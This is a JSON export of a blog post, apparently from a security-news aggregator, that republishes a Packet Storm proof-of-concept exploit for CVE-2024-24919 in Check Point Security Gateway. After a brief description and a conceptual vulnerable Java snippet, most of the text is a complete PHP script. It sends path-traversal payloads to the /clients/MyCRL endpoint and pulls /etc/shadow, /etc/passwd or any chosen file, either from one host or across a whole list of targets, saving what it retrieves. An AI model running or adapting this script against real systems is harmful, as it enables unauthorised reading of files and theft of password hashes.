{"id":27864,"date":"2025-11-27T12:50:04","date_gmt":"2025-11-27T12:50:04","guid":{"rendered":"http:\/\/localhost\/?p=27864"},"modified":"2025-11-27T12:50:04","modified_gmt":"2025-11-27T12:50:04","slug":"check-point-security-gateway-r8030-arbitrary-file-read","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=27864","title":{"rendered":"\ud83d\udcc4 Check Point Security Gateway R80.30 Arbitrary File Read_PACKETSTORM:212151"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-11-27T17:52:39&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for an unauthenticated arbitrary file read vulnerability in Check Point Security Gateway version R80.30&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-11-27T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-11-27T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Check Point Security Gateway R80.30 Arbitrary File Read&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212151&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2024-24919&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Check Point Security Gateway R80.30 Unauthenticated Arbitrary File Read                                                     |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/www.checkpoint.com\/                                                                                                 |\\n    =============================================================================================================================================\\n    \\n    POC : \\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/181660\/ \\u0026 \\tCVE-2024-24919\\n    \\n    \\n    [+] Summary :\\n    \\n    A critical unauthenticated arbitrary file read vulnerability exists in Check Point Security Gateway appliances \\n    that allows attackers to read any file from the underlying Linux filesystem through path traversal in the web management interface. \\n    The vulnerability enables complete system file disclosure without authentication.\\n    \\n    [+] Technical Description\\n    \\n    The vulnerability exists in the Check Point Security Gateway web management interface, specifically in the `\/clients\/MyCRL` endpoint. The application fails to properly validate and sanitize user input,\\n    allowing attackers to perform directory traversal and access arbitrary files outside the intended web directory.\\n    \\n    Vulnerable Code Pattern:\\n    \\n    java\\n    \\n    \/\/ Conceptual vulnerable code in file serving component\\n    @POST\\n    @Path(\\&#8221;\/clients\/MyCRL\\&#8221;)\\n    public Response serveCRLFile(String filePath) {\\n        \/\/ Insufficient input validation\\n        String resolvedPath = resolveClientPath(filePath);\\n        \\n        \/\/ No proper path traversal detection\\n        File requestedFile = new File(baseDirectory, resolvedPath);\\n        \\n        if (requestedFile.exists()) {\\n            return Response.ok(Files.readAllBytes(requestedFile.toPath())).build();\\n        }\\n        return Response.status(404).build();\\n    }\\n    \\n    [+] Usage: \\n    \\n    # Target List Check\\n    \\n    php exploit.php -l targets.txt\\n    \\n    # Single Target Check\\n    \\n    php exploit.php -u https:\/\/checkpoint.example.com\\n    \\n    # Custom File Check\\n    \\n    php exploit.php -u https:\/\/checkpoint.example.com -f etc\/hosts\\n    \\n    # Bulk Custom File Check\\n    \\n    php exploit.php -l targets.txt -f etc\/shadow\\n    \\n    [+] POC :\\n    \\n    \\u003c?php\\n    \/**\\n     * CVE-2024-24919 Exploit &#8211; Check Point Security Gateway Arbitrary File Read\\n     * By: indoushka\\n     * Converted from Python to PHP\\n     *\/\\n    \\n    class CheckPointExploit {\\n        private $colors;\\n        private $vulnerableIndicators;\\n        \\n        public function __construct() {\\n            $this-\\u003ecolors = [\\n                &#8216;GREEN&#8217;   =\\u003e \\&#8221;\\\\033[1;32m\\&#8221;,\\n                &#8216;MAGENTA&#8217; =\\u003e \\&#8221;\\\\033[1;35m\\&#8221;,\\n                &#8216;CYAN&#8217;    =\\u003e \\&#8221;\\\\033[1;36m\\&#8221;,\\n                &#8216;RED&#8217;     =\\u003e \\&#8221;\\\\033[1;31m\\&#8221;,\\n                &#8216;BLUE&#8217;    =\\u003e \\&#8221;\\\\033[1;34m\\&#8221;,\\n                &#8216;YELLOW&#8217;  =\\u003e \\&#8221;\\\\033[1;33m\\&#8221;,\\n                &#8216;WHITE&#8217;   =\\u003e \\&#8221;\\\\033[1;37m\\&#8221;,\\n                &#8216;RESET&#8217;   =\\u003e \\&#8221;\\\\033[0m\\&#8221;,\\n                &#8216;BOLD&#8217;    =\\u003e \\&#8221;\\\\033[1m\\&#8221;\\n            ];\\n            \\n            $this-\\u003ecolorArray = [\\n                $this-\\u003ecolors[&#8216;GREEN&#8217;],\\n                $this-\\u003ecolors[&#8216;CYAN&#8217;], \\n                $this-\\u003ecolors[&#8216;BLUE&#8217;]\\n            ];\\n            \\n            $this-\\u003evulnerableIndicators = [&#8216;root:&#8217;, &#8216;nobody:&#8217;, &#8216;daemon:&#8217;];\\n        }\\n        \\n        private function color($text, $color) {\\n            return $this-\\u003ecolors[$color] . $text . $this-\\u003ecolors[&#8216;RESET&#8217;];\\n        }\\n        \\n        private function randomColor() {\\n            return $this-\\u003ecolorArray[array_rand($this-\\u003ecolorArray)];\\n        }\\n        \\n        private function showBanner() {\\n            $randomColor = $this-\\u003erandomColor();\\n            \\n            $banner = $randomColor . \\&#8221;\\n    \\n     \\n    \\&#8221; . $this-\\u003ecolors[&#8216;RESET&#8217;] . \\n    $this-\\u003ecolors[&#8216;MAGENTA&#8217;] . \\&#8221;\\n    \\n    \\&#8221; . $this-\\u003ecolors[&#8216;RESET&#8217;] .\\n    $this-\\u003ecolors[&#8216;RED&#8217;] . \\&#8221;\\\\n        CVE-2024-24919 &#8211; Check Point Security Gateway File Read\\\\n\\&#8221; . $this-\\u003ecolors[&#8216;RESET&#8217;] .\\n    $this-\\u003ecolors[&#8216;WHITE&#8217;] . \\&#8221;                    @indoushka\\\\n\\\\n\\&#8221; . $this-\\u003ecolors[&#8216;RESET&#8217;];\\n    \\n            echo $banner;\\n        }\\n        \\n        private function makeRequest($url, $payload = null, $headers = []) {\\n            $contextOptions = [\\n                &#8216;http&#8217; =\\u003e [\\n                    &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n                    &#8216;header&#8217; =\\u003e implode(\\&#8221;\\\\r\\\\n\\&#8221;, $headers),\\n                    &#8216;content&#8217; =\\u003e $payload,\\n                    &#8216;timeout&#8217; =\\u003e 10,\\n                    &#8216;ignore_errors&#8217; =\\u003e true,\\n                    &#8216;follow_location&#8217; =\\u003e false\\n                ],\\n                &#8216;ssl&#8217; =\\u003e [\\n                    &#8216;verify_peer&#8217; =\\u003e false,\\n                    &#8216;verify_peer_name&#8217; =\\u003e false\\n                ]\\n            ];\\n            \\n            $context = stream_context_create($contextOptions);\\n            $response = @file_get_contents($url, false, $context);\\n            \\n            if ($response === false) {\\n                return [&#8216;success&#8217; =\\u003e false, &#8216;error&#8217; =\\u003e &#8216;Request failed&#8217;];\\n            }\\n            \\n            \/\/ Get HTTP status code\\n            $statusCode = 0;\\n            if (isset($http_response_header[0])) {\\n                preg_match(&#8216;\/HTTP\\\\\/\\\\d\\\\.\\\\d\\\\s+(\\\\d+)\/&#8217;, $http_response_header[0], $matches);\\n                $statusCode = isset($matches[1]) ? (int)$matches[1] : 0;\\n            }\\n            \\n            return [\\n                &#8216;success&#8217; =\\u003e true,\\n                &#8216;status_code&#8217; =\\u003e $statusCode,\\n                &#8216;content&#8217; =\\u003e $response\\n            ];\\n        }\\n        \\n        private function isVulnerable($content) {\\n            foreach ($this-\\u003evulnerableIndicators as $indicator) {\\n                if (strpos($content, $indicator) !== false) {\\n                    return true;\\n                }\\n            }\\n            return false;\\n        }\\n        \\n        private function displayResult($url, $response, $payload) {\\n            if (!$response[&#8216;success&#8217;]) {\\n                echo $this-\\u003ecolor(\\&#8221;[-] Error: \\&#8221; . $response[&#8216;error&#8217;], &#8216;RED&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n                return;\\n            }\\n            \\n            if ($response[&#8216;status_code&#8217;] === 200 \\u0026\\u0026 $this-\\u003eisVulnerable($response[&#8216;content&#8217;])) {\\n                echo $this-\\u003ecolor(\\&#8221;[+] \\&#8221; . $url . \\&#8221; is VULNERABLE\\&#8221;, &#8216;GREEN&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n                \\n                if ($payload) {\\n                    if (strpos($payload, &#8216;etc\/shadow&#8217;) !== false) {\\n                        echo $this-\\u003ecolor(\\&#8221;\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\&#8221;, &#8216;CYAN&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n                        echo $this-\\u003ecolor(\\&#8221;\u2551                      \/etc\/shadow found               \u2551\\&#8221;, &#8216;CYAN&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n                        echo $this-\\u003ecolor(\\&#8221;\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\&#8221;, &#8216;CYAN&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n                        \\n                        if (file_put_contents(\\&#8221;shadow.txt\\&#8221;, $response[&#8216;content&#8217;]) !== false) {\\n                            echo $this-\\u003ecolor(\\&#8221;[+] Shadow file saved as: shadow.txt\\&#8221;, &#8216;GREEN&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n                        }\\n                    } elseif (strpos($payload, &#8216;etc\/passwd&#8217;) !== false) {\\n                        echo $this-\\u003ecolor(\\&#8221;\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\&#8221;, &#8216;CYAN&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n                        echo $this-\\u003ecolor(\\&#8221;\u2551                      \/etc\/passwd found               \u2551\\&#8221;, &#8216;CYAN&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n                        echo $this-\\u003ecolor(\\&#8221;\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\&#8221;, &#8216;CYAN&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n                        \\n                        if (file_put_contents(\\&#8221;passwd.txt\\&#8221;, $response[&#8216;content&#8217;]) !== false) {\\n                            echo $this-\\u003ecolor(\\&#8221;[+] Passwd file saved as: passwd.txt\\&#8221;, &#8216;GREEN&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n                        }\\n                    }\\n                    \\n                    echo $this-\\u003ecolor(\\&#8221;\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\&#8221;, &#8216;CYAN&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n                    echo $this-\\u003ecolor(\\&#8221;File content:\\&#8221;, &#8216;WHITE&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n                    echo $response[&#8216;content&#8217;] . \\&#8221;\\\\n\\&#8221;;\\n                    echo $this-\\u003ecolor(\\&#8221;\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\&#8221;, &#8216;CYAN&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n                }\\n            } else {\\n                echo $this-\\u003ecolor(\\&#8221;[-] \\&#8221; . $url . \\&#8221; is not vulnerable (Status: \\&#8221; . $response[&#8216;status_code&#8217;] . \\&#8221;)\\&#8221;, &#8216;RED&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n            }\\n        }\\n        \\n        public function scanTargets($targetsFile, $customFile = null) {\\n            $this-\\u003eshowBanner();\\n            \\n            if (!file_exists($targetsFile)) {\\n                echo $this-\\u003ecolor(\\&#8221;[-] File not found: \\&#8221; . $targetsFile, &#8216;RED&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n                return;\\n            }\\n            \\n            $urls = file($targetsFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);\\n            $urls = array_map(&#8216;trim&#8217;, $urls);\\n            \\n            echo $this-\\u003ecolor(\\&#8221;[*] Scanning \\&#8221; . count($urls) . \\&#8221; targets&#8230;\\\\n\\&#8221;, &#8216;BLUE&#8217;);\\n            \\n            $headers = [\\n                \\&#8221;User-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:109.0) Gecko\/20100101 Firefox\/115.0\\&#8221;,\\n                \\&#8221;Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8\\&#8221;,\\n                \\&#8221;Accept-Language: en-US,en;q=0.5\\&#8221;,\\n                \\&#8221;Accept-Encoding: gzip, deflate, br\\&#8221;,\\n                \\&#8221;Upgrade-Insecure-Requests: 1\\&#8221;,\\n                \\&#8221;Sec-Fetch-Dest: document\\&#8221;,\\n                \\&#8221;Sec-Fetch-Mode: navigate\\&#8221;,\\n                \\&#8221;Sec-Fetch-Site: none\\&#8221;,\\n                \\&#8221;Sec-Fetch-User: ?1\\&#8221;,\\n                \\&#8221;Dnt: 1\\&#8221;,\\n                \\&#8221;Sec-Gpc: 1\\&#8221;,\\n                \\&#8221;Te: trailers\\&#8221;,\\n                \\&#8221;Connection: close\\&#8221;\\n            ];\\n            \\n            $payloadBase = \\&#8221;aCSHELL\/..\/..\/..\/..\/..\/..\/..\/\\&#8221;;\\n            \\n            $payloads = [\\n                $payloadBase . \\&#8221;etc\/passwd\\&#8221;,\\n                $payloadBase . \\&#8221;etc\/shadow\\&#8221;\\n            ];\\n            \\n            if ($customFile) {\\n                $payloads = [$payloadBase . $customFile];\\n            }\\n            \\n            $vulnerableCount = 0;\\n            \\n            foreach ($urls as $index =\\u003e $url) {\\n                echo $this-\\u003ecolor(\\&#8221;\\\\n[\\&#8221; . ($index + 1) . \\&#8221;\/\\&#8221; . count($urls) . \\&#8221;] Testing: \\&#8221;, &#8216;BLUE&#8217;) . $url . \\&#8221;\\\\n\\&#8221;;\\n                \\n                if (!preg_match(&#8216;\/^https?:\\\\\/\\\\\/\/&#8217;, $url)) {\\n                    echo $this-\\u003ecolor(\\&#8221;[-] Invalid URL format, skipping\\&#8221;, &#8216;YELLOW&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n                    continue;\\n                }\\n                \\n                $targetUrl = rtrim($url, &#8216;\/&#8217;) . &#8216;\/clients\/MyCRL&#8217;;\\n                \\n                foreach ($payloads as $payload) {\\n                    echo $this-\\u003ecolor(\\&#8221;[*] Testing payload: \\&#8221;, &#8216;YELLOW&#8217;) . $payload . \\&#8221;\\\\n\\&#8221;;\\n                    \\n                    $response = $this-\\u003emakeRequest($targetUrl, $payload, $headers);\\n                    \\n                    if ($response[&#8216;success&#8217;] \\u0026\\u0026 $response[&#8216;status_code&#8217;] === 200 \\u0026\\u0026 $this-\\u003eisVulnerable($response[&#8216;content&#8217;])) {\\n                        $this-\\u003edisplayResult($targetUrl, $response, $payload);\\n                        $vulnerableCount++;\\n                        break; \/\/ Stop testing this target if vulnerable\\n                    }\\n                }\\n            }\\n            \\n            \/\/ Summary\\n            echo $this-\\u003ecolor(\\&#8221;\\\\n\\&#8221; . str_repeat(\\&#8221;=\\&#8221;, 60), &#8216;CYAN&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n            echo $this-\\u003ecolor(\\&#8221;[*] SCAN SUMMARY\\&#8221;, &#8216;BOLD&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n            echo $this-\\u003ecolor(str_repeat(\\&#8221;=\\&#8221;, 60), &#8216;CYAN&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n            echo $this-\\u003ecolor(\\&#8221;[+] Total targets scanned: \\&#8221;, &#8216;BLUE&#8217;) . count($urls) . \\&#8221;\\\\n\\&#8221;;\\n            echo $this-\\u003ecolor(\\&#8221;[+] Vulnerable targets found: \\&#8221;, \\n                $vulnerableCount \\u003e 0 ? &#8216;GREEN&#8217; : &#8216;RED&#8217;) . $vulnerableCount . \\&#8221;\\\\n\\&#8221;;\\n        }\\n        \\n        public function testSingleTarget($url, $customFile = null) {\\n            $this-\\u003eshowBanner();\\n            \\n            echo $this-\\u003ecolor(\\&#8221;[*] Testing single target: \\&#8221;, &#8216;BLUE&#8217;) . $url . \\&#8221;\\\\n\\\\n\\&#8221;;\\n            \\n            $headers = [\\n                \\&#8221;User-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:109.0) Gecko\/20100101 Firefox\/115.0\\&#8221;,\\n                \\&#8221;Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8\\&#8221;,\\n                \\&#8221;Accept-Language: en-US,en;q=0.5\\&#8221;,\\n                \\&#8221;Content-Type: application\/x-www-form-urlencoded\\&#8221;,\\n                \\&#8221;Connection: close\\&#8221;\\n            ];\\n            \\n            $payloadBase = \\&#8221;aCSHELL\/..\/..\/..\/..\/..\/..\/..\/\\&#8221;;\\n            \\n            $testFiles = [\\n                \\&#8221;etc\/passwd\\&#8221; =\\u003e \\&#8221;System password file\\&#8221;,\\n                \\&#8221;etc\/shadow\\&#8221; =\\u003e \\&#8221;System shadow file\\&#8221;, \\n                \\&#8221;etc\/hosts\\&#8221; =\\u003e \\&#8221;System hosts file\\&#8221;,\\n                \\&#8221;etc\/group\\&#8221; =\\u003e \\&#8221;System groups file\\&#8221;\\n            ];\\n            \\n            if ($customFile) {\\n                $testFiles = [$customFile =\\u003e \\&#8221;Custom file: \\&#8221; . $customFile];\\n            }\\n            \\n            $vulnerable = false;\\n            \\n            foreach ($testFiles as $file =\\u003e $description) {\\n                echo $this-\\u003ecolor(\\&#8221;[*] Testing: \\&#8221;, &#8216;YELLOW&#8217;) . $description . \\&#8221;\\\\n\\&#8221;;\\n                \\n                $payload = $payloadBase . $file;\\n                $targetUrl = rtrim($url, &#8216;\/&#8217;) . &#8216;\/clients\/MyCRL&#8217;;\\n                \\n                $response = $this-\\u003emakeRequest($targetUrl, $payload, $headers);\\n                \\n                if ($response[&#8216;success&#8217;] \\u0026\\u0026 $response[&#8216;status_code&#8217;] === 200) {\\n                    if ($this-\\u003eisVulnerable($response[&#8216;content&#8217;]) || !empty(trim($response[&#8216;content&#8217;]))) {\\n                        echo $this-\\u003ecolor(\\&#8221;[+] FILE ACCESSIBLE: \\&#8221; . $description, &#8216;GREEN&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n                        echo $this-\\u003ecolor(\\&#8221;[+] Content preview:\\\\n\\&#8221;, &#8216;GREEN&#8217;);\\n                        echo $this-\\u003ecolor(str_repeat(\\&#8221;=\\&#8221;, 60), &#8216;CYAN&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n                        echo substr($response[&#8216;content&#8217;], 0, 500) . \\&#8221;\\\\n\\&#8221;;\\n                        echo $this-\\u003ecolor(str_repeat(\\&#8221;=\\&#8221;, 60), &#8216;CYAN&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n                        \\n                        \/\/ Save file\\n                        $filename = str_replace(&#8216;\/&#8217;, &#8216;_&#8217;, $file) . \\&#8221;.txt\\&#8221;;\\n                        file_put_contents($filename, $response[&#8216;content&#8217;]);\\n                        echo $this-\\u003ecolor(\\&#8221;[+] Saved to: \\&#8221; . $filename, &#8216;CYAN&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n                        \\n                        $vulnerable = true;\\n                    } else {\\n                        echo $this-\\u003ecolor(\\&#8221;[-] File not accessible or empty\\&#8221;, &#8216;RED&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n                    }\\n                } else {\\n                    echo $this-\\u003ecolor(\\&#8221;[-] Request failed (Status: \\&#8221; . $response[&#8216;status_code&#8217;] . \\&#8221;)\\&#8221;, &#8216;RED&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n                }\\n                echo \\&#8221;\\\\n\\&#8221;;\\n            }\\n            \\n            if ($vulnerable) {\\n                echo $this-\\u003ecolor(\\&#8221;[+] TARGET IS VULNERABLE to CVE-2024-24919!\\&#8221;, &#8216;GREEN&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n            } else {\\n                echo $this-\\u003ecolor(\\&#8221;[-] Target does not appear to be vulnerable\\&#8221;, &#8216;RED&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n            }\\n        }\\n    }\\n    \\n    \/\/ Main execution\\n    if (php_sapi_name() === &#8216;cli&#8217;) {\\n        $shortOptions = \\&#8221;l:f:u:h\\&#8221;;\\n        $longOptions = [\\&#8221;list:\\&#8221;, \\&#8221;file:\\&#8221;, \\&#8221;url:\\&#8221;, \\&#8221;help\\&#8221;];\\n        \\n        $options = getopt($shortOptions, $longOptions);\\n        \\n        if (isset($options[&#8216;h&#8217;]) || isset($options[&#8216;help&#8217;]) || empty($options)) {\\n            echo \\&#8221;CVE-2024-24919 &#8211; Check Point Security Gateway Arbitrary File Read\\\\n\\&#8221;;\\n            echo \\&#8221;Usage:\\\\n\\&#8221;;\\n            echo \\&#8221;  php exploit.php -l \\u003ctargets_list.txt\\u003e [-f \\u003ccustom_file\\u003e]\\\\n\\&#8221;;\\n            echo \\&#8221;  php exploit.php -u \\u003ctarget_url\\u003e [-f \\u003ccustom_file\\u003e]\\\\n\\&#8221;;\\n            echo \\&#8221;\\\\nExamples:\\\\n\\&#8221;;\\n            echo \\&#8221;  php exploit.php -l targets.txt\\\\n\\&#8221;;\\n            echo \\&#8221;  php exploit.php -u https:\/\/checkpoint.example.com\\\\n\\&#8221;;\\n            echo \\&#8221;  php exploit.php -u https:\/\/checkpoint.example.com -f etc\/hosts\\\\n\\&#8221;;\\n            echo \\&#8221;  php exploit.php -l targets.txt -f etc\/shadow\\\\n\\&#8221;;\\n            echo \\&#8221;\\\\nDescription:\\\\n\\&#8221;;\\n            echo \\&#8221;  Exploits arbitrary file read vulnerability in Check Point Security Gateway\\\\n\\&#8221;;\\n            echo \\&#8221;  via path traversal in \/clients\/MyCRL endpoint (CVE-2024-24919)\\\\n\\&#8221;;\\n            exit(0);\\n        }\\n        \\n        $exploit = new CheckPointExploit();\\n        \\n        if (isset($options[&#8216;l&#8217;]) || isset($options[&#8216;list&#8217;])) {\\n            $listFile = $options[&#8216;l&#8217;] ?? $options[&#8216;list&#8217;];\\n            $customFile = $options[&#8216;f&#8217;] ?? $options[&#8216;file&#8217;] ?? null;\\n            $exploit-\\u003escanTargets($listFile, $customFile);\\n        } \\n        elseif (isset($options[&#8216;u&#8217;]) || isset($options[&#8216;url&#8217;])) {\\n            $url = $options[&#8216;u&#8217;] ?? $options[&#8216;url&#8217;];\\n            $customFile = $options[&#8216;f&#8217;] ?? $options[&#8216;file&#8217;] ?? null;\\n            $exploit-\\u003etestSingleTarget($url, $customFile);\\n        }\\n    } else {\\n        echo \\&#8221;This script is intended for command line use only.\\\\n\\&#8221;;\\n    }\\n    ?\\u003e\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212151&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:8.6,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:N\/A:N&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212151\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-11-27T17:52:39&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for an unauthenticated arbitrary file read vulnerability in Check Point Security Gateway version R80.30&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-11-27T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-11-27T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Check Point Security Gateway R80.30 Arbitrary File&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,81,12,15,13,53,7,11,5],"class_list":["post-27864","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-86","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Check Point Security Gateway R80.30 Arbitrary File Read_PACKETSTORM:212151 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=27864\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Check Point Security Gateway R80.30 Arbitrary File Read_PACKETSTORM:212151 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-11-27T17:52:39&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for an unauthenticated arbitrary file read vulnerability in Check Point Security Gateway version 